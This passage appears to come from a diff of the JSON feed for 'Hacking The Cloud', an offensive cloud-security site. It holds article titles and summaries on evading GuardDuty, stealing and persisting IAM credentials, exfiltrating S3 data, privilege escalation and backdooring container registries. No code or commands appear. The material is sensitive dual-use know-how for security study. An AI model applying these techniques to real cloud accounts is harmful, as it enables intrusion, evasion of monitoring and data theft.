"url": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "title": "IAM unique identifiers", "content_html": "Chart of the IAM unique ID prefixes.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png", "date_published": "2020-07-27T19:47:46+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "title": "Bypass GuardDuty Pentest Findings for the AWS CLI", "content_html": "Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png", "date_published": "2020-07-22T02:58:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "url": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "title": "Bypass Credential Exfiltration Detection", "content_html": "When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png", "date_published": "2020-07-22T02:58:24+00:00", "authors": [], "tags": null}]} \ No newline at end of file +{"version": "https://jsonfeed.org/version/1", "title": "Hacking The Cloud", "home_page_url": "https://hackingthe.cloud/", "feed_url": "https://hackingthe.cloud/feed_json_created.json", "description": "The encyclopedia for offensive security in the cloud.", "icon": null, "authors": [], "language": "en", "items": [{"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/", "title": "Exploiting Public AWS Resources Programmatically - The Playbook", "content_html": "A playbook on how to exploit AWS resources that can be misconfigured via resource-based policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png", "date_published": "2024-12-05T17:37:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "title": "AWS CLI Tips and Tricks", "content_html": "A collection of tips and tricks for using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png", "date_published": "2024-11-04T03:15:10+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/run-command-abuse/", "url": "https://hackingthe.cloud/azure/run-command-abuse/", "title": "Run Command Abuse", "content_html": "Utilise Azure RunCommands for execution and lateral movement.", "image": "https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png", "date_published": "2024-10-05T05:04:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "title": "Exploiting Misconfigured GitLab OIDC AWS IAM Roles", "content_html": "Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png", "date_published": "2024-09-01T22:46:15+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "title": "CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios", "content_html": "An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png", "date_published": "2024-07-31T20:37:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "url": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "title": "Prevent Expensive AWS API Actions with SCPs", "content_html": "Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png", "date_published": "2024-07-30T00:15:57+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "title": "Enumerate Org/Folder/Project Permissions + Individual Resource Permissions", "content_html": "Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png", "date_published": "2024-07-14T21:08:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "url": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "title": "Discover secrets in public AMIs", "content_html": "How to find public AMIs and get stored secrets.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png", "date_published": "2024-05-28T16:27:11+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "title": "Enumerate Root User Email Address from the AWS Console", "content_html": "Identify if an email address belongs to the root user of an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png", "date_published": "2024-05-21T20:10:23+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "title": "Abusing Misconfigured Role Trust Policies with a Wildcard Principal", "content_html": "How to take advantage of misconfigured role trust policies that have wildcard principals.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png", "date_published": "2024-01-29T03:39:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "url": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "title": "EC2 Privilege Escalation Through User Data", "content_html": "How to escalate privileges on an EC2 instance by abusing user data.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png", "date_published": "2024-01-21T17:59:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "url": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "title": "Bypass Cognito Account Enumeration Controls", "content_html": "Leverage a flaw in Cognito's API to enumerate accounts in User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png", "date_published": "2024-01-07T21:28:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "url": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "title": "DNS and CloudFront Domain Takeover via Deleted S3 Buckets", "content_html": "How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png", "date_published": "2023-12-20T14:50:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2023_wrap-up/", "url": "https://hackingthe.cloud/blog/2023_wrap-up/", "title": "2023 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2023.", "image": "https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png", "date_published": "2023-12-20T01:25:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "url": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "title": "Data Exfiltration through S3 Server Access Logs", "content_html": "Exfiltrate data via S3:GetObject and S3 server access logs.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png", "date_published": "2023-12-07T10:12:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "title": "Derive a Principal ARN from an AWS Unique Identifier", "content_html": "How to convert an unique identifier to a principal ARN.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png", "date_published": "2023-11-20T00:54:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "url": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "title": "Survive Access Key Deletion with sts:GetFederationToken", "content_html": "Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png", "date_published": "2023-09-25T13:24:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "title": "AWS IAM Persistence Methods", "content_html": "A catalog of methods to maintain access to the AWS control plane.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png", "date_published": "2023-08-01T01:58:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "url": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "title": "Download Tools and Exfiltrate Data with the AWS CLI", "content_html": "Using the AWS CLI as a LOLScript to download and exfiltrate data.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png", "date_published": "2023-07-13T03:46:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "title": "Abusing Overpermissioned AWS Cognito Identity Pools", "content_html": "How to take advantage of misconfigured Amazon Cognito Identity Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png", "date_published": "2023-06-20T17:26:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "title": "Abusing Unintended Self-Signup in AWS Cognito", "content_html": "How to take advantage of misconfigured Amazon Cognito User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png", "date_published": "2023-06-20T17:26:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/enum_email_addresses/", "url": "https://hackingthe.cloud/azure/enum_email_addresses/", "title": "Unauthenticated Enumeration of Azure Active Directory Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png", "date_published": "2023-04-11T13:31:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "url": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "title": "Unauthenticated Enumeration of Google Workspace Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png", "date_published": "2023-04-11T13:31:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "url": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "title": "Create a Console Session from IAM Credentials", "content_html": "How to use IAM credentials to create an AWS Console session.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png", "date_published": "2023-02-20T16:48:45+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "url": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "title": "S3 Streaming Copy", "content_html": "Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png", "date_published": "2023-02-10T15:12:48+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "url": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "title": "Exfiltrating S3 Data with Bucket Replication Policies", "content_html": "Backdooring S3 buckets with Bucket Replication Policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png", "date_published": "2023-01-26T01:02:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2022_wrap-up/", "url": "https://hackingthe.cloud/blog/2022_wrap-up/", "title": "2022 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2022.", "image": "https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png", "date_published": "2022-12-14T03:27:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "url": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "title": "Loot Public EBS Snapshots", "content_html": "How to find and take advantage of exposed EBS snapshots.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png", "date_published": "2022-12-05T02:08:42+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "title": "Misconfigured Resource-Based Policies", "content_html": "Common misconfigurations of resource-based policies and how they can be abused.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png", "date_published": "2022-11-24T22:14:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "title": "Abusing Misconfigured ECR Resource Policies", "content_html": "How to take advantage of misconfigured AWS ECR private repositories.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png", "date_published": "2022-11-24T22:14:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "title": "AWS Organizations Defaults & Pivoting", "content_html": "How to abuse AWS Organizations' default behavior and lateral movement capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png", "date_published": "2022-11-05T00:02:54+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "url": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "title": "Abusing Elastic Container Registry for Lateral Movement", "content_html": "With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png", "date_published": "2022-10-13T01:37:41+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/v2_new_look/", "url": "https://hackingthe.cloud/blog/v2_new_look/", "title": "Hacking The Cloud v2: New Look", "content_html": "All about the new look for Hacking The Cloud v2.", "image": "https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png", "date_published": "2022-09-18T21:18:30+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "title": "GCP Goat", "content_html": "GCP Goat is the Vulnerable application for learning the GCP Security", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "title": "Thunder CTF", "content_html": "GCP themed CTF", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "url": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "title": "Hunting GCP Buckets", "content_html": "How to find valid and invalid GCP Buckets using tools", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "url": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "title": "Privilege Escalation in Google Cloud Platform", "content_html": "Privilege escalation techniques for Google Cloud Platform (GCP)", "image": "https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png", "date_published": "2022-08-24T12:25:09+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "title": "Enumerate Service Account Permissions", "content_html": "Brute force the permissions of a service account to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png", "date_published": "2022-08-23T14:34:53+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "url": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "title": "Terraform ANSI Escape", "content_html": "Using ANSI Escape Sequences to Hide Malicious Terraform Code", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png", "date_published": "2022-07-09T00:02:47+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "url": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "title": "Default Account Information", "content_html": "Default information on how accounts and service accounts exist in GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png", "date_published": "2022-05-29T13:26:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "url": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "title": "Security and Constraints", "content_html": "Security considerations and constraints that are unique to GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png", "date_published": "2022-05-29T13:26:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "url": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "title": "Using Stolen IAM Credentials", "content_html": "How to work with stolen IAM credentials and things to consider.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png", "date_published": "2022-05-14T21:51:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "url": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "title": "Run Shell Commands on EC2 with Send Command or Session Manager", "content_html": "Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png", "date_published": "2022-04-11T23:11:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/abusing-managed-identities/", "url": "https://hackingthe.cloud/azure/abusing-managed-identities/", "title": "Abusing Managed Identities", "content_html": "Abusing Managed Identities", "image": "https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png", "date_published": "2022-03-27T16:57:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/anonymous-blob-access/", "url": "https://hackingthe.cloud/azure/anonymous-blob-access/", "title": "Anonymous Blob Access", "content_html": "Finding and accessing files stored in Azure Storage Accounts without authentication.", "image": "https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png", "date_published": "2022-03-19T16:57:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "url": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "title": "Soft Deleted Blobs", "content_html": "Recovering and accessing files in private Storage Accounts that have been deleted.", "image": "https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png", "date_published": "2022-03-17T14:35:54+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "title": "AWS API Call Hijacking via ACM-PCA", "content_html": "By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png", "date_published": "2022-03-13T23:45:47+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "url": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "title": "CI/CDon't", "content_html": "An AWS/GitLab CICD themed CTF.", "image": "https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png", "date_published": "2022-03-05T04:00:57+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "title": "Enumerate AWS Account ID from an EC2 Instance", "content_html": "With access to an ec2 instance, you will be able to identify the AWS account it runs in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png", "date_published": "2022-02-27T22:50:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/whoami/", "url": "https://hackingthe.cloud/aws/deprecated/whoami/", "title": "[Deprecated] Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png", "date_published": "2022-02-09T04:00:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "url": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "title": "Modify GuardDuty Configuration", "content_html": "Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png", "date_published": "2022-01-30T10:32:26+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "url": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "title": "Terraform Enterprise: Attack the Metadata Service", "content_html": "Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png", "date_published": "2021-12-23T21:59:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/", "url": "https://hackingthe.cloud/", "title": "Hacking The Cloud", "content_html": "The encyclopedia for offensive security in the cloud", "image": "https://hackingthe.cloud/assets/images/social/index.png", "date_published": "2021-11-30T05:00:09+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "title": "AWS IAM Privilege Escalation Techniques", "content_html": "Common techniques that can be leveraged to escalate privileges in an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png", "date_published": "2021-11-04T21:03:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "url": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "title": "Metadata in Google Cloud Instances", "content_html": "Information about the data an attacker can access via GCP's API endpoints", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png", "date_published": "2021-10-24T17:41:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "title": "Lambda Persistence", "content_html": "How to establish persistence on a Lambda function after getting remote code execution.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png", "date_published": "2021-09-16T15:02:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "url": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "title": "Get IAM Credentials from a Console Session", "content_html": "Convert access to the AWS Console into IAM credentials.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png", "date_published": "2021-07-14T20:46:17+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "url": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "title": "[Deprecated] Enumerate Permissions without Logging to CloudTrail", "content_html": "Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png", "date_published": "2021-05-18T19:13:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "title": "S3 File ACL Persistence", "content_html": "Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png", "date_published": "2021-04-13T02:53:30+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "title": "Enumerate AWS Account ID from a Public S3 Bucket", "content_html": "Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png", "date_published": "2021-04-03T01:39:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "title": "Bypass GuardDuty Tor Client Findings", "content_html": "Connect to the Tor network from an EC2 instance without alerting GuardDuty.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png", "date_published": "2021-02-20T04:07:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "url": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "title": "Intercept SSM Communications", "content_html": "With access to an EC2 instance you can intercept, modify, and spoof SSM communications.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png", "date_published": "2021-02-06T17:17:59+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "url": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "title": "Role Chain Juggling", "content_html": "Keep your access by chaining assume-role calls.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png", "date_published": "2021-02-03T03:20:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "title": "User Data Script Persistence", "content_html": "Maintain access to an EC2 instance and it's IAM role via user data scripts.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png", "date_published": "2021-02-03T03:20:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "url": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "title": "Introduction to the Instance Metadata Service", "content_html": "An introduction to the Instance Metadata Service and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png", "date_published": "2020-12-20T20:10:43+00:00", "authors": [], "tags": null}, {"id": 